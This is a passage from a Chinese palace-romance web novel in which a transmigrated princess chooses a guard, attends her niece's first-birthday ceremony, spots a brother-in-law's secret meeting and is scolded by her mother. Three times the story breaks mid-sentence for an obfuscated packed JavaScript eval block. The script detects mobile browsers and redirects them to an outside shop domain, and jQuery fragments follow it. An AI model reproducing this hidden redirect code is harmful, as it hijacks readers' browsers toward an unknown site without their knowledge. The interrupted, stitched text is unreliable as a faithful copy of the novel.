崔玉凝被吵得耳朵疼,也不知道太子是如何忍受的。她拍了拍喜乐的肩膀,朝他使了个眼神,示意他上前去。
喜乐不明所以,但依旧听话地走到站成一排的侍卫面前。
“你们谁能把喜乐公公抱起来,谁就跟本公主回公主府。”崔玉凝眼神扫过众人,宣布了规则。
有几个侍卫眼观鼻鼻观心,显然不愿意跟她回公主府,崔玉凝也不强求,只是挨个让喜乐被人抱过去。
跟在崔玉凝身后本应在书房议事的两人,现在也止住脚步站在一旁看公主选人。
听完选人标准,崔璟祁暗暗叹了口气,转向裴则正要说些什么,裴则却不知想到了什么,脸色有点不好。
“聿修这是怎么了?”崔璟祁问裴则,裴则不说话,他又转头问竹酒。
竹酒刚想说不知道,被太子殿下一瞪只得乖乖把上午公主在树上讨要自己的事情老实说了,末了还不怕死地补充道:“裴大人应当是全部听见了。”
崔璟祁好笑地看着裴则脸色越来越差,裴则黑着脸:“太子殿下很闲?”
……
崔玉凝正紧盯着大家挨个抱起喜乐,这喜乐不知为何完全不似电视剧里太子身边瘦弱纤细的小公公,反而像一个胖胖的大冬瓜,比年纪虽然只有福顺、德海的一半,但体型是两位公公加起来这么宽。
除却一开始不愿意跟她回公主府的那几个抱不动喜乐公公以外,其他人包括太子推荐的几个女侍卫都能抱着他走一圈。
崔玉凝不由松了一口气,还好她厚着脸皮要了东宫的侍卫,公主府都是一群酒囊饭袋。
她依着心意点了一位高高壮壮的女生,“叫什么名字?”
“属下青酒。”被点名的侍卫上前一步单膝跪地行礼。
穿来将近一个月,崔玉凝还是第一次受这么重的礼,下意识伸手阻止想要扶起,又想起自己公主的身份生硬转换动作叫起青酒:“那你就跟我回公主府吧。”
说完,喜乐便下去安排一些事宜。
解决了一桩心事,崔玉凝觉得一身轻松,只想着到时候跟青酒多多练习,说不定青酒就能把她救下来。
她转头看向崔璟祁,结果崔璟祁却躲开了她的视线,还说:“凝儿再看下去整个东宫都要被你给搬空了。”
一旁的裴则轻笑出声,崔玉凝不敢惹他,正想低头溜走却被他叫住:“公主,臣送您回府。”
崔玉凝噎了一下,合着他跟过来就是为了送她回府?
她果断拒绝:“不用了,裴大人,您不是来找皇兄议事的吗?我自己可以回府,就不麻烦您了。”
说完她逃也似地离开了东宫。
留下两人面面相觑,还是崔璟祁先开口:“聿修不是来找孤议事?”
-
皇宫,坤宁殿内。
皇家没有秘密,崔玉凝上午一进国子监,后宫就收到消息了。
这会儿刚巧皇后贵妃在一块儿商议崔玉凝的婚事,计划着办个赏花宴,给几个未婚的皇子公主相看一番。
皇上子嗣不丰,皇子公主加起来拢共就十个孩子,大半还都是在潜邸时出生的,年纪相仿。
公主这边只有崔玉凝一人,前面三个姐姐都已成婚,四公主早逝,六公主还太小。
皇子这边主要是给太子和二皇子相看,只是二皇子母妃早逝,他又没个定性,也不知有多少贵女愿意……
想到这里两个人都深深叹了口气,早年间在烈王府的时候大家都不容易,皇上登基后对几个孩子又过于宠爱了,寻常人家哪有他们这么好过。
章铮瑜看画像看得烦躁,“你说说凝儿这算怎么回事儿?早先喜欢那裴家三郎就追着人家跑,现在裴家求亲她又开始追着别人跑,有哪家小娘子像她这样?”
秦皇后笑道:“让她去吧,凝儿向来活泼,要是拘着她规规矩矩,那还是我们的凝儿吗?”
章贵妃本就没多少气,皇后说两句就过去了,她点点头,从旁边拿起一卷画轴递给皇后:“还是先给太子选吧。”
-
午后,日光烈烈,空气被热意凝固,热气顺着鞋底蒸腾,连寻常在池中摇摆的锦鲤都懒洋洋地躲在莲叶之下。
崔玉凝回到公主府时就是这样一番景象,琅珠一行人急匆匆捧着一个大冰盆就来迎接了。
“公主快进屋吧,今儿实在太热。”琅珠见了崔玉凝就如是说。
京城的天不是一点点热起来的,而是突然一下子变热的。
至少昨日还不需要捧着大冰盆在外面走,照这样下去迟早中暑。
进了寝殿,崔玉凝立刻感到舒适,四角置着半人高的冰鉴,完全不输现代的空调。
刚坐下,璎珞就端着一碗剔透的琉璃盏:“公主,快来尝尝厨房新做的冰酪。”
崔玉凝没见过冰酪,等璎珞把碗放在她面前,她才发现这冰酪原来就是冰淇淋,一口下去又香又甜又解暑。
吃了大半,崔玉凝才想起还有事没吩咐,又叫来琅珠:“琅珠,我从东宫带回的厨子和侍卫,你先安排下去,叫青酒跟你们住在一块。”
琅珠应声,就退了出去。
对青酒的安排是崔玉凝早就想好了的,叫她跟寻常宫女一样的打扮,这样平时跟着她出门也方便。
吃饱喝足崔玉凝又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211491|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把璎珞叫到身边,经过她的分析观察,琅珠是绝对大管家,而璎珞则是对外面更熟悉一些。
“璎珞,你知道京城姓顾的人家吗?”其实昨天她就想问章舒窈,可纵然关系再好,章舒窈也会起疑,只有琅珠和璎珞完全尊重她的意志。
突然被问到,璎珞也不知该如何回答,思考了一下,说:“公主,您问的是吏部尚书的顾家还是兵部侍郎的顾家?”
崔玉凝哪里知道什么兵部侍郎吏部尚书的,继续道:“就是家里有好几个女儿,还娶了继室的。”
这时候琅珠也回来了,听到两个人对话,跟着接上:“公主说的应当就是兵部侍郎顾越顾大人的顾家。”
两人不知道崔玉凝的意图,只好倒豆子般把自己知道的都给说了,甚至一次宴会上顾家女儿们不睦争吵都说了个明白。
崔玉凝一听这事儿心里就有数了,这件事在小说里写过,“那顾家在哪儿?”
璎珞想了想,说:“顾家离公主府不远,就隔了三条街,那一片都是顾宅。”
琅珠补充:“顾家祖上富可敌国,只是到顾侍郎这一代落寞了,听说顾家随便一枝花就价值连城呢。”
崔玉凝点点头,这就和她记忆里的剧情对上了,顾老夫人的几个儿子狗苟蝇营不成气候,不过充面子的事情没少做,内里全靠几个夫人的嫁妆撑着。
“你们觉得顾家的三小姐如何?”崔玉凝问,先前小公主办过很多宴会,虽然小公主什么都不记得,但公主身边的人肯定有印象。
谁承想琅珠摇了摇头,又看向璎珞,希望她能说出点什么,可惜璎珞也摇了摇头:“奴婢分不清什么三小姐,只知道顾家后宅不睦,教养也不好,在外人宴会上就能大打出手。”
崔玉凝无奈,只能等过几日亲自去看看女主了。
-
三日后。
这几日天气炎热,酷暑难耐,崔玉凝的所有计划都被她抛之脑后,没有什么比夏天在摆满大冰鉴的房子里睡觉吃各色冰饮子更爽快的事了。
因为她一直在府里带着,连带着琅珠和璎珞都松快许多。
不过今日她不得不出门了,今日是她小外甥女温岁的抓周宴。
为了出这趟门,琅珠和璎珞早早就开始准备,天气炎热可不能让公主中暑了。
崔玉凝有些懵懵的,不过出门前还记得问琅珠:“琅珠,我给小郡主准备了什么抓周礼啊?”
“一个鎏金镶宝石长命锁,还有一条小金蛇。”琅珠回答道:“公主忘了吗,小金蛇是您在小郡主出生前就命人打好了的,只是太子殿下说小郡主年纪尚小,待她能把玩的时候再把小金蛇赠予她。”
这么一说崔玉凝就想起来了,当时太子说小郡主年纪太小,送给她也是收进库房,反倒辜负了她一番心意。
现在想想可能也是怕小金蛇吓到小孩子。
“你把小金蛇拿来给我瞧瞧。”崔玉凝觉得这小金蛇可能还会吓到小郡主。
闻言琅珠赶紧取出小金蛇给公主过目。
这是一条纯金锻打而成的小金蛇,蛇身镶嵌了十八颗大小不一的红蓝宝石,随着蛇身盘旋错落有致。
看到实物崔玉凝就放心了,还挺好看的,一点都不吓人。
叫琅珠重新收好后,崔玉凝带着两人还有青酒就出门了。
5. 抓周
这还是青酒来公主府后第一次出门,在马车上见到身着浅绿色襦裙的青酒还有些不习惯。
几位公主的府邸都相隔不远,是真正意义上的拐个弯就到。
小郡主的抓周宴来了许多人,崔玉凝被青酒扶着下马车的时候正巧碰上了骑马而来的裴则。
两人目光一碰,又各自漠然移开,一左一右直朝在门口欢欢喜喜的大驸马温玮还有驸马的父亲温大人而去。
“温大人,恭喜恭喜!闻听今日是小郡主周晬之喜,定当好好观礼。小郡主玉雪可爱,定能抓个祥瑞之兆!”
“张大人客气了,快里面请,饮杯薄酒。”
“裴大人也来了?快请进。”
“有劳温大人。”裴则颔首,将贺礼递给一旁登记的管事。
“宴宁来了。”大驸马笑容温和地迎上两步,“你大姐姐方才还念叨你呢。快进去吧,二妹、三妹她们都到了。”
“有劳姐夫挂心。”崔玉凝浅笑回礼,“岁岁呢?我可要好好瞧瞧今日的小寿星。”
“天热,岁岁有些闹,乳母刚抱进去。你也快进去歇歇。”大驸马侧身让路。
崔玉凝回之一笑,带着琅珠青酒就往里走。
送上贺礼时还瞧见侍女来不及合盖的一块白玉长命锁,玉质白如凝脂,雕工精巧,一看品相就知贵重。
大公主母妃身份不显,驸马也是庸庸碌碌之辈,今日该来的不该来的人都来了,多半也是为太子而来。
太子代表帝后要晚些才来,但也给足了大公主脸面。
今日抓周宴本应在温家举办,最后在公主府也是为了压一压大驸马的气焰。
崔玉凝到的时候,两个姐姐早已到了。
进到内室,二公主崔玉瑶正抱着孩子哄,见她来了立刻笑吟吟地说:“让我们看看是谁来了呀?原来是五姨母。”
崔玉凝上前跟两个姐姐一起逗弄温岁小朋友。
这个时候的小朋友最可爱,乌溜溜的眼睛转来转去,见崔玉凝过来还朝她伸出自己的小胖手,嘴里“丫丫”叫个不停。
“真乖。”崔玉凝忍不住轻轻捏了捏那豆腐般的小脸。
还想再捏,立刻就被人家生母发现了。
“凝儿,别总捏她脸,当心流口水。”大公主崔玉娴刚刚被温岁吐了奶,换完衣服出来就看到几个妹妹在逗弄自己女儿,无奈叹了口气。
岁岁是第一个孩子,长得又雪玉可爱,大家都亲热到不行。
“你们喜欢自己去生。”大公主笑嗔,示意乳母将温岁抱去准备抓周,以免一会儿饿了不肯动。
“我也想生啊。”说话的是三公主崔玉姝,她和崔玉娴一样成婚已经有半年了,夫妻感情甚笃,可惜就是没孩子。
说罢又朝崔玉凝挑挑眉,崔玉凝不明所以,还是二公主笑着接话:“你跟裴家三公子的事如何了?”
崔玉凝一怔,三公主紧接着问:“裴则向你求亲了?”
皇家没有秘密,虽然帝后都默契地把这件事瞒下来了,不过德妃不可能不知道,德妃知道了三公主就知道了。
“什么?裴则求娶你了?那你为何不答应。以前不是日日追着他跑,还追到裴太傅那里去了?”大公主也跟着一惊一乍的,现在房里就她们几个人,倒是无所谓会不会被人看见。
崔玉凝干脆地摆摆手,脸上写满了敬谢不敏:“我才不要嫁给他,冷冰冰的,能侍奉好公主吗?”
大家的关系虽然比不上小公主跟太子,但因为后宫孩子少,大家年纪又相差不大,皇后娘娘做事公允,从小到大都在一起玩,也没有什么矛盾,所以崔玉凝说话也直接,不用打什么官腔。
想到这里崔玉凝又想到自己家里那一团糟的姐妹关系。
她是姐姐,父母偏心妹妹,工作以后她赚的钱还要给妹妹交学费、发零花钱。
还是当公主好,有一个把自己当成掌上明珠的母妃,还不用辛苦赚钱供妹妹。
几个公主听到这个解释倒也没再说话,裴则虽然样貌学识俱佳,不过冷冰冰一副生人勿近的样子的确不行。
……
抓周设在大厅里,她们几人从房里出来的时候裴则正和二皇子崔璟珩说话。其他几位公主径直寻自家驸马去了,崔玉凝只好跟二皇子打了个招呼。
见她过来,裴则不自然地挪开了视线。
刚才崔璟珩一来就质问他是不是惹崔玉凝不高兴了。崔家人,简直不讲理。
……
大驸马温文含笑,大公主也在一旁笑吟吟地看着,不知道以为大驸马真是个体贴人。
准确说来,三位驸马都是一副体贴周全的模样,看着每一个都把侍奉公主刻在心里了。
六公主崔玉薇悄悄挨到崔玉凝身边,低声说:“阿姐,我将来就要找这样的驸马。”
崔玉薇才八岁,这次还是求了皇后娘娘才出宫来的,跟她差不多大的三皇子和四皇子就没能出来。
崔玉凝也不客气直接教训道:“小小年纪想这么多干嘛。”
被姐姐打了一下崔玉薇委屈地瘪瘪嘴,又说:“听母后说阿姐三岁就追着裴大人跑了,我如今都已经八岁了,跟阿姐比起来都算晚了。”
说话间眼神还向裴则那边一飘,巴不得裴则现在就看过来两个人在聊什么。
崔玉凝作势要打,小丫头吓得一溜烟跑了。
……
正说笑间,外头廊下忽然传来一阵不疾不徐的脚步声,并伴着内侍清亮却不高亢的通传:“太子殿下到——”
话音未落,门帘被轻轻打起。
太子依旧穿着玄色衣袍,众人齐齐行礼。
“都免礼吧。”他虚扶一下,声音不高,却让室内瞬间安静下来,“今日是家宴,不必拘礼。”
崔玉凝是第一次在这么正式的场合见到崔璟祁,自带上位者气势。
说完,眼巴巴过来的都找太子攀谈,希望能说上两句话。
这下崔玉凝可算是知道小郡主抓周宴为何会来这么多人了,温家的亲戚包括温大人的同僚占了多数。
“公主在想什么?”说话的人是裴则。
崔玉凝扭过头看了一眼:“没什么。”
她懂裴则这种心态,无非就是平时跟在自己屁股后面的人突然不理他了,所以不甘心才一直找她搭话。
太子一到人就算是齐了,抓周也正式开始。
绒毯上放了各式各样的物件,除了算盘书卷针线这些基本的东西,还放了很多珠宝字画。
大公主夫妻俩让奶娘把小郡主抱上来放在绒毯上,小郡主睁着圆溜溜的大眼睛一点儿也没被周遭那么多大人吓到,反而笑呵呵的。
大公主在一旁鼓励道:“岁岁快去选一件自己喜欢的东西,然后拿回来给阿娘好不好?”说完还轻轻拍了拍小姑娘的屁股。
小郡主这个年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211492|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经能听懂她娘的话了,大大方方地就往前爬。
众人将小郡主围了一圈,看着她爬过算盘越过书本,径直爬向一柄镶满宝石的小短刀。
大家又开始夸赞:“小郡主胆气过人啊……”
话音未落,大家就看着小郡主略过小短刀,直直地朝着站在小短刀后的人扑去。
是裴则。
泰山崩于前而面不改色的裴大人也有花容失色的时候,见走得还不太稳的小姑娘跌跌撞撞朝他扑过来当即一把抱住她,生怕今日生辰的小小姑娘摔了。
看到这一幕,现场一些人都心照不宣地笑了。
刚刚就用裴则打趣她的二公主更是直接大笑出声:“小岁岁怎么跟你五姨母一样呢?”
这话一出,原本没想到的人也想起来当年晏宁公主第一次见到小裴大人,也是这样宣誓主权的。
大家的目光当即都在两人之间流转,加上几个公主和皇子主动说笑,戏谑之声不绝于耳。
饶是崔玉凝再觉得小公主做的事儿和她没关系也遭不住,她趁着众人注意力又被孩子吸引的间隙,轻声向大公主说要出去透透气。
大公主以为是刚刚大家打趣太过,直接让身边的小丫鬟带着崔玉凝去花园走走,末了还叮嘱:“一会儿就要开席,记得回来吃饭。”
……
出了宴客厅,一阵热意扑面而来,崔玉凝当下就后悔了。
可是出都出来了也不好再回去。
一行人还没走到花园就被层层叠叠的绿意吸引了,崔玉凝忍不住感慨:“好多树啊。”
带路的小丫鬟听到这话也笑了:“这些都是大驸马移栽过来的,夏日天热,在花园里纳凉是最舒适不过了。”
崔玉凝点点头,大公主府上的花园甚至不能称为花园,到处不见花影,不过有头顶的绿荫隔绝太阳的确舒适。
想到这里她甚至开始思考公主府能不能种点丝瓜豆角什么的,搭个棚子让这些小菜爬一爬,这样她也能纳凉。
小公主府上的花园光秃秃的,只有假山池塘,原本花园里是有花的,可这几天太热,花都被晒蔫儿了,一片一片耷拉着,花匠就把名贵些的花都收起来了。
崔玉凝靠着亭子的栏杆出神,却忽然看见假山一侧有个人影,她避开大公主的丫鬟朝青酒递了个眼色。
青酒会意,身形轻悄绕了过去,不过片刻就回来了,附在崔玉凝耳边低声说:“殿下,是二驸马,还有一个男人。”
闻言崔玉凝挑了挑眉,她只知道大驸马有私,怎么二驸马也有?
况且这会儿二驸马不应该陪在她二姐身边吗?
崔玉凝开口:“哎呀,不早了,我们回去吧。”
说罢带着一行人朝着假山的方向行去,她倒要看看这个二驸马在干什么。
靠近假山后,崔玉凝抬手止住身后众人,只示意青酒跟她一起慢慢靠近。
“务必周全……东宫耳目众多……”二驸马声音很轻,却依旧温润。
大抵是听见了她的脚步声,交谈声瞬间顿住。
见状崔玉凝立刻作出一副捉奸的样子。
二驸马赵兆从假山出来,崔玉凝先发制人笑吟吟地盯着赵兆:“姐夫这是在做什么?”
没给赵兆留说话的机会,继续道:“二姐夫真是好雅兴。前头宾客满堂,二姐独坐,你倒有闲心在此……”说到这里崔玉凝挑了挑眉没继续说下去。
6. 章骁
赵兆反应过来崔玉凝是误会他在跟人私会,他视线紧盯着崔玉凝试图从她的脸上看出点破绽,嘴上却说着:“没做什么,只是跟殿下一样出来透透气。”
崔玉凝装模作样地哼了一声:“最好是这样,别让我抓到!”
说完,她一扭头,带着身后众人径自离去。
走到花园外,确认二驸马看不见后,崔玉凝才在心里深深叹了口气。
这次真的是托小公主的福了,还好小公主平时就骄纵在外人眼里也不聪明,所以她装做捉奸也没被怀疑。
……
花厅里大家都还未入座,家庭小宴并未男女分席,崔玉凝和崔玉薇坐在一起,对面是三公主夫妇,旁边就是二公主夫妇。
二驸马不知走得哪条路,竟然比她还快,崔玉凝入席的时候他已经在和二公主温声细语说话了,一副蜜里调油的样子。
原本她还在纠结这件事要不要跟二公主说,这下可好,连说的机会都没有。
“阿姐,阿姐,”崔玉薇见崔玉凝魂不守舍一阵一阵地发呆,好奇问:“你在想什么?”
被崔玉薇在案桌底下轻轻推了两下,崔玉凝回过神来,怔怔道:“没想什么。”
“没想什么你盯着裴大人看?”崔玉薇人小鬼大,“裴大人都被你看脸红了。”
被崔玉薇这么一说,崔玉凝抬眼向裴则望去。
那人依旧坐得端端正正,一副高岭之花不可接近的模样,哪有一丝脸红痕迹。
她在崔玉薇胳膊上掐了一把,说:“好啊,敢骗我。”
崔玉薇也配合着压低声音:“我要告诉母后你欺负我!”
……
宴席散后,众人陆续告辞。
崔玉凝是跟太子一起走的,今日抓周宴兄妹俩还没说过几句话,况且她有事要告诉太子。
太子离府阵仗大,每个人都要凑上来说两句,一行人送至门口,崔玉凝才挤到崔璟祁旁边。
崔璟祁正与大公主等人辞别,见到她便问:“青酒用得可顺手?”
崔玉凝点点头:“青酒很能干,事事都妥帖。阿兄,我有事同你说。”
说话间,她瞥了一眼崔璟祁身旁的裴则。
崔璟祁会意,朝裴则点头:“聿修,你先去吧,其余事稍后再议。”
裴则已经习惯了崔家人这副一切小事以崔玉凝为先的态度,只要不涉及天灾人祸战乱所有事情都得排在崔玉凝后边,除了太子就是二皇子,总一副大舅哥的做派。
崔玉凝带着青酒上了太子的马车,吩咐琅珠先回府。
“青酒,你来说。”崔玉凝示意道。
“是。”青酒转向太子,“殿下,方才在花园中,属下与公主瞧见二驸马与人私会。那人身着青绿衣袍,声音浑厚,应是个习武的男子。”
崔玉凝补充:“阿兄,我还听见他们提到了东宫。”
崔璟祁沉吟片刻:“阿兄回去会好好查一查,多谢凝儿。”说完还摸了摸崔玉凝的头。
身为储君,他手中握有大多数人的动向,大驸马的那些事也都在掌控之中。跟二驸马有勾结的人倒完全在意料之外。
崔玉凝听到崔璟祁说会好好查也就放心了,她对朝堂之事不感兴趣,这些事也不在她的能力范围。
只是太子对她很不错,她不想让太子死的这么早,所以才特地提醒。
如果她没记错的话,太子是死于北疆的战事。可是现在似乎没有北疆的消息,也没有要太子亲自挂帅出征的征兆……
她所了解的北疆就是章家,也就是章舒窈的父亲、她的舅舅如今在北疆。
……
公主府。
房内,她屏退了其他人,只留青酒在跟前。
“你说,”她拨弄着桌上精致的陶瓷杯,声音压得低,“二驸马见的那个人……会不会跟北疆有关?”
青酒垂首:“属下不敢妄断。”她压下心中疑惑,不知殿下是如何将二驸马与北疆联系在一起的,北疆向来是章家的地盘,与赵家又有何干。
崔玉凝叹了口气,越想越头疼。她一点都不了解朝堂,怎么可能救得了崔璟祁。
小公主本身就对这些事不感兴趣,她根本就没有途径去了解这些。
如果她去问战况,大家只会觉得小公主发疯吧……
果然,比起工作中的“死线”,现在的“死线”才是真正的“死线”,时时刻刻压迫着她。
青酒沉默着,看着小公主又是哀声,又是叹气,没有接话。
第二天,崔玉凝特意起了个大早,给章府递了个帖子。
原本她想着自己外祖家直接去就是了,结果琅珠用不合规矩为由阻止了她。
“公主,真的不能随便去,被御史知道又要说您了。”琅珠劝说,章贵妃也曾告诫过她们,晏宁公主偶尔随心所欲做些逾矩的事也无妨,但若是扯上其他人家就必须老老实实按规矩来。
崔玉凝也知道,无非就是因为“天子犯法与庶民不同罪”,小公主天生就有很多借口。
她想了想,开口道:“就说我得了几匹上好的云锦,颜色雅致,想着舅母和表姐穿着定然好看,今日午后想送过去,顺便给外祖母请安。”
递了帖子一来一回又要等到明后日才能去章家,崔玉凝等不及。
“青酒。”崔玉凝突然想到一件事。
“属下在。”青酒就侍奉在旁边。
“你去问问舒窈表姐想不想去樊楼。”樊楼是京城乃至整个大宴最名贵的酒楼,她穿来第一天就有幸跟着太子一起见识过。
作为顶级娱乐场所,樊楼是真正意义上的销金窟,在京城也就只有世家子弟常常光顾。
那天跟着崔璟祁去樊楼吃饭,太子见她吃得香就叫她常常光顾,花费都挂在他的账上。
青酒脚程极快,钗儿进来通报的时候,崔玉凝还半躺在美人榻上听璎珞给她念话本子。
“殿下,表小姐说改日再约,今日她要去京畿大营给世子送鞋子。”青酒回复。
世子就是章舒窈的亲哥哥章骁,他没有随镇国公镇守北疆,而是一直留在京城。
崔玉凝随即又想起自己前些日子在国子监物色驸马被突然冒出来的裴则打断了,心下蠢蠢欲动,语气坚定地开口道:“好久没见表哥了,我陪表姐一块儿去吧。”
一边说着一边放下手里的零嘴吩咐道:“璎珞,你去备马车,我们这就去找表姐!”
“是。”璎珞放下手里的话本就退出去了。
……
崔玉凝是在镇国公府门口等到章舒窈的,也不知道章舒窈是为了刻意等她还是动作本来就慢,她都一来一回了章舒窈才不急不徐地出门。
崔玉凝直接踏上章家的马车,惊得章舒窈轻呼:“你做什么?怎么跟个强盗似的?”
崔玉凝一听便气闷,她明明是当着众人面上车的,“什么强盗?我若是歹人,你家车夫丫鬟怎会不喊不叫?”
镇国公府的丫鬟都会武艺,哪像她,想找个得力的侍卫还得向太子讨要。
章舒窈撇撇嘴:“你又来干什么,我不是说了过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211493|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两日再跟你去樊楼吃饭吗?”
崔玉凝:“可是我也有很久没见表哥了……”
此话一出章舒窈就知道崔玉凝打得是什么主意,无非就是看上了京畿大营里的那些人。
可京畿大营里就是一群莽夫罢了,又有哪个配得上公主,就算是她亲哥也不行。
忽然灵光一闪,章舒窈想到一人,“凝儿,我倒觉得有个人很适合做你的驸马。”
崔玉凝一怔,没想到话题直接就从她想念表哥跳到驸马人选上了,表姐果然是冰雪聪明,她顺着问:“谁啊?”
章舒窈弯着眉眼,笑得很甜,但崔玉凝却不知为何总觉得有问题。
“殿前副都指挥使陈淮。”章舒窈压低声音在崔玉凝耳边悄悄地说。
听到这个名字崔玉凝摆了摆手,在小公主的记忆里殿前司那些人年纪都很大了:“他是鳏夫?”
章舒窈扑哧一声笑了出来:“陈大人还未成婚呢,而且家中既无妾室也无双亲,最适合你不过了。”
听到父母双亡的时候崔玉凝不想承认自己可耻的心动了,公婆与儿媳之间的矛盾自古以来就存在,就连公主也不例外。
不说远的,就说温大人夫妇与大公主之间的矛盾也不是一天两天,不然周岁宴也不至于特地在公主府办还让太子敲打一番。
见崔玉凝不说话,章舒窈仿佛看透她心思,轻声点拨:“你若是想见他,去找皇上就行了。”
说完章舒窈自己下了车。
崔玉凝回过神来连忙跟上,从后面一把挽上章舒窈的胳膊,兴致勃勃:“走吧表姐!”
这可是连小公主都没有来过的京畿大营,也不能怪她雀跃。
章舒窈与守营士兵打了招呼,便领着一行人进去。
跟国子监静谧的氛围全然不同,大营里到处都是操练的士兵,每一个都又高又壮。
怕她不懂章舒窈还贴心给她解释,正在训练的这些人都是经过选拔的,不仅要身强力壮而且样貌也要周正。
崔玉凝左右张望,暗暗惊叹。
走至一排屋前,章舒窈驻足片刻,章骁便赶了过来。
他是跑着来的,脸上还泛着薄红。
章舒窈把两双鞋子递给他,嘱咐道:“母亲叫你休沐日早些归家,不要在外游荡。”
章骁不服气,“我哪里在外游荡,那都是正事。”
崔玉凝瞧见章舒窈偷偷翻了个白眼,忍不住轻笑。
“凝儿怎么来了?”章骁这才看见站在自家妹妹旁边的崔玉凝,小公主往常穿着都是怎么华丽怎么来,今日穿得如此简素,他一下子没认出来。
“太久没见表哥,心中十分想念。”崔玉凝把自己刚刚编的瞎话拿出来用。
章骁瞬间红了脸,说话都磕绊起来:“表、表妹……这……你……”
崔玉凝心道糟糕,忘记这里表兄妹是可以成亲的了。
还是章舒窈直接打断他:“你有什么话要带给母亲和祖母吗?没有我们就先走了。”
章骁这才敛了神色,低声同妹妹说了几句。
兄妹俩说话崔玉凝不好在一旁听着,她移开视线,目光略过校场上那些正在休息的人。
心中暗自感慨,果然如表姐所说每个人都样貌周正,虽然远不及裴则,可也绝对没有丑的。
她看得专注,没留意章家兄妹已说完话。直到章舒窈轻轻碰了碰她的手肘:“走了。”
两人转身时,崔玉凝又回头望了一眼。却看见章骁仍站在原地,见她回头,还匆忙别开了视线。
7. 皇家没有秘密
皇家没有秘密。
崔玉凝穿来以后一直以此为做事准则,做什么都光明正大,从未藏着掖着,反正她谁也瞒不住。
只是没想到这个“没有秘密”是会透明至此。
她前脚从京畿大营出来,挥别表姐,后脚章贵妃身边的小公公就在公主府门口等着她了。
彼时崔玉凝正坐在马车里,对此一无所知。还是璎珞掀帘低声提醒,她才知道自己又摊上事了。
“公主,贵妃在瑶光殿等您。”小公公见到崔玉凝下马车就迫不及待地说明来意。
崔玉凝点头,脚下却未停,径直往府里走,嘴上敷衍:“知道了知道了,你回吧。”
能被派出来的小公公也不是吃素的,听了崔玉凝的话也不答应,就跟在崔玉凝身后,“殿下,贵妃娘娘说让奴务必请您入宫。”
崔玉凝被迫止住脚步,回头看了眼小公公。
见他鬓角落下的汗珠,知道他不容易,她心软了,不好再为难。
“我没说不去,只是现在天太热,公公也进来歇歇喝口水吧。”
这会儿的天有没有四十度她是不知道,只是在太阳底下走一遭就让人发晕,大中午叫她进宫她是不乐意的。
宫里没有马车可坐,从宫门口到瑶光殿有很长一段路要走。虽然小公主可以在宫内乘舆辇,但这种天气下做这种事也太封建太要命了吧!
崔玉凝打定主意明日一早再入宫,叫璎珞给小公公拿了一些碎银子就自己回房休息了。
至于小公公是要留宿公主府还是回宫复命都跟她没关系。
沐浴完躺在床上的时候崔玉凝还在深刻反思自己今天又做了什么无用功,不仅没物色到驸马还被贵妃娘娘抓到了,明日还要头顶烈日进宫挨训。
崔玉凝暗自唾弃自己,发自内心觉得自己没用,每天都跟个无头苍蝇似的到处乱撞。
……
辰时初,天光大亮,崔玉凝已经起床坐在桌边用早膳了。
如果老天爷还记得她上班的时候为了多睡半小时特地花了两倍的钱在律所附近租房,那么现在这样天天早起一定是老天爷恨死她了吧!
带着满腹怨念,崔玉凝还是进宫了。
在宫门口,崔玉凝看见另一侧下朝的大臣三三两两往外走,她有些意外。到底是什么大事才拖到这会儿才下朝?
她心下疑惑,脚下不停,带着一行人快步往里走。
她不习惯乘舆辇,那东西只求稳不求快,她心急。
其实整个后宫里,除了闲的没事想要彰显权威或者怀孕受伤行动不便,还真没人坐舆辇。
……
瑶光殿。
章贵妃正对镜簪钗,指尖停在珠串上。
崔玉凝进了殿门便往内室去,章贵妃身边的若梅姑姑往里指了指,意思是章贵妃正在气头上,叫她小心点说话。
她无声道了谢,绕到章贵妃身后,
章贵妃没回头。
“崔玉凝,你昨日去京畿大营了?”
崔玉凝点点头,意识到章贵妃看不到后又立刻补充:“嗯。”
“那里是你能去的地方?”章贵妃声音冷了下来,“上一次你去国子监就算了,我没教训你,现在本事大了,以为自己哪里都能去了,是吗?”
崔玉凝垂手站着,乖乖听训,还给自己弱弱地辩解两句:“没有……”
突然,章贵妃把手里的珠钗拍在桌上。
“平时纵着你,想出宫建府,允了;想四处游玩,也允了。太傅的课不愿上,不上;裴则的婚约不想嫁,退便退了。”
她转过来,盯着女儿。
“可你做事,越来越没分寸。”
崔玉凝被那目光压得低了头,嗫嚅道:“阿娘,凝儿知错了。”
“知错?”章贵妃一声轻哼,“知错有什么用?下次再犯就直接乖乖嫁给裴则,有他管着,也不用时时刻刻担心你,阿娘也能安心去了。”
